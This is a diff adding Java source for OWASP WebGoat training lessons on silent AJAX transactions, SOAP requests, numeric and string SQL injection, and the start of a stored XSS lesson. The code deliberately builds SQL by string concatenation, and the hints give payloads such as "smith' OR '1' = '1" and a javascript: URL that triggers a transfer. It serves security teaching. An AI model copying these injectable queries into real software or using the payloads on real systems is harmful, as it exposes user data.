newAccount.setType(Input.TEXT);
newAccount.setName("newAccount");
newAccount.setValue("");
tr.addElement(new TD(newAccount));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD(new StringElement("Transfer Amount:")));
Input amount = new Input();
amount.addAttribute("id", "amount");
amount.setType(Input.TEXT);
amount.setName("amount");
amount.setValue(0);
tr.addElement(new TD(amount));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new PRE());
Input b = new Input();
b.setType(Input.BUTTON);
b.setName("confirm");
b.addAttribute("id", "confirm");
b.setValue("Confirm");
b.setOnClick("processData();");
ec.addElement(b);
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "resultsDiv");
div.addAttribute("id", "resultsDiv");
div.setStyle("font-weight: bold;color:red;");
ec.addElement(div);
return ec;
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Check the javascript in the HTML source.");
hints
.add("Check how the application calls a specific javascript function to execute the transaction.");
hints
.add("Check the javascript functions processData and submitData()");
hints
.add("Function submitData() is the one responsible for actually ececuting the transaction.");
hints
.add("Check if your browser supports running javascript from the address bar.");
hints.add("Try to navigate to 'javascript:submitData(1234556,11000);'");
return hints;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Silent Transactions Attacks");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
}

503
main/project/JavaSource/org/owasp/webgoat/lessons/SoapRequest.java Normal file
View File

@ -0,0 +1,503 @@
/*
* Created on May 26, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class SoapRequest extends SequentialLessonAdapter
{
public final static String firstName = "getFirstName";
public final static String lastName = "getLastName";
public final static String loginCount = "getLoginCount";
public final static String ccNumber = "getCreditCard";
//int instead of boolean to keep track of method invocation count
static int accessFirstName;
static int accessLastName;
static int accessCreditCard;
static int accessLoginCount;
private static WebgoatContext webgoatContext;
/**
* We maintain a static reference to WebgoatContext, since this class
* is also automatically instantiated by the Axis web services module,
* which does not call setWebgoatContext()
* (non-Javadoc)
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/
@Override
public void setWebgoatContext(WebgoatContext webgoatContext) {
SoapRequest.webgoatContext = webgoatContext;
}
@Override
public WebgoatContext getWebgoatContext() {
return SoapRequest.webgoatContext;
}
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Accessible operations are delimited by the &lt;operation&gt; tag contained within the &lt;portType&gt; section of the WSDL. <BR> Below is an example of a typical operation (getFirstName): <br><br>"
+ "&lt;wsdl:portType name=\"SoapRequest\"&gt; <br>"
+ "&lt;wsdl:<strong>operation name=\"getFirstName\"</strong>&gt;<br>"
+ "&lt;wsdl:input message=\"impl:getFirstNameRequest\" name=\"getFirstNameRequest\" /&gt;<br>"
+ "&lt;wsdl:output message=\"impl:getFirstNameResponse\" name=\"getFirstNameResponse\" /&gt;<br>"
+ "&lt;wsdlsoap:operation soapAction=\"\" /&gt;"
+ "&lt;/wsdl:portType&gt;<br><br>"
+ "The methods invoked are defined by the input and output message attributes. "
+ "Example: <strong>\"getFirstNameRequest\"</strong>");
hints
.add("There are several tags within a SOAP envelope. "
+ "Each namespace is defined in the &lt;definitions&gt; section of the WSDL, and is declared using the (xmlns:namespace_name_here=\"namespace_reference_location_here\") format.<br><br>"
+ "The following example defines a tag \"&lt;xsd:\", whose attribute structure will reference the namespace location assigned to it in the declaration:<br>"
+ "<strong>xmlns:xsd=\"http://www.w3.org/2001/XMLSchema</strong>");
hints
.add("Determine what parameters and types are required by the message definition corresponding to the operation's request method. "
+ "This example defines a parameter (id) of type (int) in the namespace (xsd) for the method (getFirstNameRequest):<br>"
+ "&lt;wsdl:message name=\"getFirstNameRequest\"<br><br>"
+ "&lt;wsdl:<strong>part name=\"id\" type=\"xsd:int\"</strong> /&gt;<br>"
+ "&lt;/wsdl:message&gt;<br><br>"
+ "Examples of other types:<br>"
+ "{boolean, byte, base64Binary, double, float, int, long, short, unsignedInt, unsignedLong, unsignedShort, string}.<br>");
String soapEnv = "A SOAP request uses the following HTTP header: <br><br> "
+ "SOAPAction: some action header, can be &quot;&quot; <br><br>"
+ "The SOAP message body has the following format:<br>"
+ "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>"
+ "&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>"
+ " xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>"
+ " xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getFirstName SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type=\"xsd:int\"&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getFirstName&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&lt;/SOAP-ENV:Envelope&gt; <br><br>"
+ "Intercept the HTTP request and try to create a SOAP request.";
soapEnv.replaceAll("(?s) ", "&nbsp;");
hints.add(soapEnv);
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(100);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Create a SOAP Request";
}
protected Element makeOperationsLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
tr.addElement(new TD()
.addElement("How many operations are defined in the WSDL: "));
tr.addElement(new TD(new Input(Input.TEXT, "count", "")));
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr);
ec.addElement(t1);
return ec;
}
protected Element makeTypeLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
Table t1 = new Table().setCellSpacing(0).setCellPadding(2);
if (s.isColor())
{
t1.setBorder(1);
}
TR tr = new TR();
tr
.addElement(new TD()
.addElement("Now, what is the type of the (id) parameter in the \"getFirstNameRequest\" method: "));
tr.addElement(new TD(new Input(Input.TEXT, "type", "")));
Element b = ECSFactory.makeButton("Submit");
tr.addElement(new TD(b).setAlign("LEFT"));
t1.addElement(tr);
ec.addElement(t1);
return ec;
}
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return viewWsdl(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return determineType(s);
}
protected Element doStage3(WebSession s) throws Exception
{
return createSoapEnvelope(s);
}
protected Element viewWsdl(WebSession s)
{
ElementContainer ec = new ElementContainer();
//DEVNOTE: Test for stage completion.
try
{
int operationCount = 0;
operationCount = s.getParser().getIntParameter("count");
if (operationCount == 4)
{
getLessonTracker(s).setStage(2);
s.setMessage("Stage 1 completed.");
// Redirect user to Stage2 content.
ec.addElement(doStage2(s));
}
else
{
s.setMessage("Sorry, that is an incorrect count. Try Again.");
}
}
catch (NumberFormatException nfe)
{
//DEVNOTE: Eat the exception.
//ec.addElement( new P().addElement( nfe.getMessage() ) );
s.setMessage("Sorry, that answer is invalid. Try again.");
}
catch (ParameterNotFoundException pnfe)
{
//DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
//DEVNOTE: Conditionally display Stage1 content depending on whether stage is completed or not
if (getLessonTracker(s).getStage() == 1)
//if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("1") )
{
ec.addElement(makeOperationsLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element determineType(WebSession s)
{
ElementContainer ec = new ElementContainer();
//DEVNOTE: Test for stage completion.
try
{
String paramType = "";
paramType = s.getParser().getStringParameter("type");
//if (paramType.equalsIgnoreCase("int"))
if (paramType.equals("int"))
{
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
//s.setMessage("Now, you'll craft a SOAP envelope for invoking a web service directly.");
// Redirect user to Stage2 content.
ec.addElement(doStage3(s));
}
else
{
s.setMessage("Sorry, that is an incorrect type. Try Again.");
}
}
catch (ParameterNotFoundException pnfe)
{
//DEVNOTE: Eat the exception.
// ec.addElement( new P().addElement( pnfe.getMessage() ) );
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
//DEVNOTE: Conditionally display Stage2 content depending on whether stage is completed or not
if (getLessonTracker(s).getStage() == 2)
//if ( null == (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)) ||
// (getLessonTracker(s).getLessonProperties().getProperty(WebSession.STAGE)).equals("2") )
{
ec.addElement(makeTypeLine(s));
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("View the following WSDL and count available operations:"));
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
protected Element createSoapEnvelope(WebSession s)
{
ElementContainer ec = new ElementContainer();
// Determine how many methods have been accessed. User needs to check at least two methods
// before completing the lesson.
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) >= 2)
{
/** Reset function access counters **/
accessFirstName = accessLastName = accessCreditCard = accessLoginCount = 0;
//SoapRequest.completed = true;
makeSuccess(s);
}
else
{
// display Stage2 content
ec
.addElement(new P()
.addElement("Intercept the request and invoke any method by sending a valid SOAP request for a valid account. <br>"));
Element b = ECSFactory
.makeButton("Press to generate an HTTP request");
ec.addElement(b);
// conditionally display invoked methods
if ((accessFirstName + accessLastName + accessCreditCard + accessLoginCount) > 0)
{
ec.addElement("<br><br>Methods Invoked:<br>");
ec.addElement("<ul>");
if (accessFirstName > 0)
{
ec.addElement("<li>getFirstName</li>");
}
if (accessLastName > 0)
{
ec.addElement("<li>getLastName</li>");
}
if (accessCreditCard > 0)
{
ec.addElement("<li>getCreditCard</li>");
}
if (accessLoginCount > 0)
{
ec.addElement("<li>getLoginCount</li>");
}
ec.addElement("</ul>");
}
A a = new A("services/SoapRequest?WSDL", "WebGoat WSDL File");
ec.addElement(new BR());
ec.addElement(a);
}
//getLessonTracker( s ).setCompleted( SoapRequest.completed );
return (ec);
}
public String getResults(int id, String field)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
PreparedStatement ps = connection
.prepareStatement("SELECT * FROM user_data WHERE userid = ?");
ps.setInt(1, id);
try
{
ResultSet results = ps.executeQuery();
if ((results != null) && (results.next() == true))
{
return results.getString(field);
}
}
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null;
}
public String getCreditCard(int id)
{
String result = getResults(id, "cc_number");
//SoapRequest.completed = true;
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
accessCreditCard = 1;
return result;
}
return null;
}
public String getFirstName(int id)
{
String result = getResults(id, "first_name");
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
accessFirstName = 1;
return result;
}
return null;
}
public String getLastName(int id)
{
String result = getResults(id, "last_name");
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
accessLastName = 1;
return result;
}
return null;
}
public String getLoginCount(int id)
{
String result = getResults(id, "login_count");
if (result != null)
{
//DEVNOTE: Always set method access counter to (1) no matter how many times it is accessed.
// This is intended to be used to determine how many methods have been accessed, not how often.
accessLoginCount = 1;
return result;
}
return null;
}
}

388
main/project/JavaSource/org/owasp/webgoat/lessons/SqlNumericInjection.java Normal file
View File

@ -0,0 +1,388 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Option;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.apache.ecs.html.Select;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class SqlNumericInjection extends SequentialLessonAdapter
{
private final static String STATION_ID = "station";
private String station;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(makeStationList(s));
String query;
station = s.getParser().getRawParameter(STATION_ID, null);
if (station == null)
{
query = "SELECT * FROM weather_data WHERE station = [station]";
}
else
{
query = "SELECT * FROM weather_data WHERE station = " + station;
}
ec.addElement(new PRE(query));
if (station == null)
return ec;
Connection connection = DatabaseUtilities.getConnection(s);
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
// If they get back more than one row they succeeded
if (results.getRow() > 1)
{
makeSuccess(s);
getLessonTracker(s).setStage(2);
s
.setMessage("Start this lesson over to attack a parameterized query.");
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element parameterizedQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec
.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query.");
// if ( s.getParser().getRawParameter( ACCT_NUM, "101" ).equals("restart"))
// {
// getLessonTracker(s).setStage(1);
// return( injectableQuery(s));
// }
ec.addElement(new BR());
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeStationList(s));
String query = "SELECT * FROM weather_data WHERE station = ?";
station = s.getParser().getRawParameter(STATION_ID, null);
ec.addElement(new PRE(query));
if (station == null)
return ec;
try
{
PreparedStatement statement = connection.prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setInt(1, Integer.parseInt(station));
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
// If they get back more than one row they succeeded
if (results.getRow() > 1)
{
makeSuccess(s);
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
catch (NumberFormatException npe)
{
ec.addElement(new P()
.addElement("Error parsing station as a number: "
+ npe.getMessage()));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element makeStationList(WebSession s) throws SQLException,
ClassNotFoundException
{
ElementContainer ec = new ElementContainer();
ec
.addElement(new P()
.addElement("Select your local weather station: "));
Map stations = getStations(s);
Select select = new Select(STATION_ID);
Iterator it = stations.keySet().iterator();
while (it.hasNext())
{
String key = (String) it.next();
select.addElement(new Option(key).addElement((String) stations
.get(key)));
}
ec.addElement(select);
ec.addElement(new P());
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
/**
* Gets the stations from the db
*
* @return A map containing each station, indexed by station number
*/
protected Map getStations(WebSession s) throws SQLException,
ClassNotFoundException
{
Connection connection = DatabaseUtilities.getConnection(s);
Map<String, String> stations = new TreeMap<String, String>();
String query = "SELECT DISTINCT station, name FROM WEATHER_DATA";
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
results.beforeFirst();
while (results.next())
{
String station = results.getString("station");
String name = results.getString("name");
//<START_OMIT_SOURCE>
if (!station.equals("10001") && !station.equals("11001"))
{
stations.put(station, name);
}
//<END_OMIT_SOURCE>
}
results.close();
}
}
catch (SQLException sqle)
{
sqle.printStackTrace();
}
return stations;
}
/**
* Gets the category attribute of the SqNumericInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM weather_data WHERE station = \" + station ");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true.");
hints.add("Try entering [ 101 OR 1 = 1 ].");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(70);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Numeric SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
}

308
main/project/JavaSource/org/owasp/webgoat/lessons/SqlStringInjection.java Normal file
View File

@ -0,0 +1,308 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
public class SqlStringInjection extends SequentialLessonAdapter
{
private final static String ACCT_NAME = "account_name";
private static String STAGE = "stage";
private String accountName;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
return super.createStagedContent(s);
}
protected Element doStage1(WebSession s) throws Exception
{
return injectableQuery(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return parameterizedQuery(s);
}
protected Element injectableQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = '"
+ accountName + "'";
ec.addElement(new PRE(query));
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
makeSuccess(s);
getLessonTracker(s).setStage(2);
StringBuffer msg = new StringBuffer();
msg.append("Bet you can't do it again! ");
msg
.append("This lesson has detected your successfull attack ");
msg.append("and has now switched to a defensive mode. ");
msg
.append("Try again to attack a parameterized query.");
s.setMessage(msg.toString());
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element parameterizedQuery(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec
.addElement("Now that you have successfully performed an SQL injection, try the same "
+ " type of attack on a parameterized query. Restart the lesson if you wish "
+ " to return to the injectable query");
if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals(
"restart"))
{
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
return (injectableQuery(s));
}
ec.addElement(new BR());
try
{
Connection connection = DatabaseUtilities.getConnection(s);
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE last_name = ?";
ec.addElement(new PRE(query));
try
{
PreparedStatement statement = connection.prepareStatement(
query, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.setString(1, accountName);
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
makeSuccess(s);
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
protected Element makeAccountLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Enter your last name: "));
accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
/**
* Gets the category attribute of the SqNumericInjection object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DatabaseFieldScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM user_data WHERE last_name = \" + accountName ");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR."
+ "Try appending a SQL statement that always resolves to true");
hints.add("Try entering [ smith' OR '1' = '1 ].");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(75);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DatabaseFieldScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("String SQL Injection");
}
/**
* Constructor for the DatabaseFieldScreen object
*
* @param s Description of the Parameter
*/
public void handleRequest(WebSession s)
{
try
{
super.handleRequest(s);
}
catch (Exception e)
{
System.out.println("Exception caught: " + e);
e.printStackTrace(System.out);
}
}
}

380
main/project/JavaSource/org/owasp/webgoat/lessons/StoredXss.java Normal file
View File

@ -0,0 +1,380 @@
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.B;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.HR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.*;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class StoredXss extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
private final static String MESSAGE = "message";
private final static int MESSAGE_COL = 3;
private final static String NUMBER = "Num";
private final static int NUM_COL = 1;
private final static String STANDARD_QUERY = "SELECT * FROM messages";
private final static String TITLE = "title";
private final static int TITLE_COL = 2;
private static int count = 1;
private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted message
/**
* Adds a feature to the Message attribute of the MessageBoardScreen object
*
* @param s The feature to be added to the Message attribute
*/
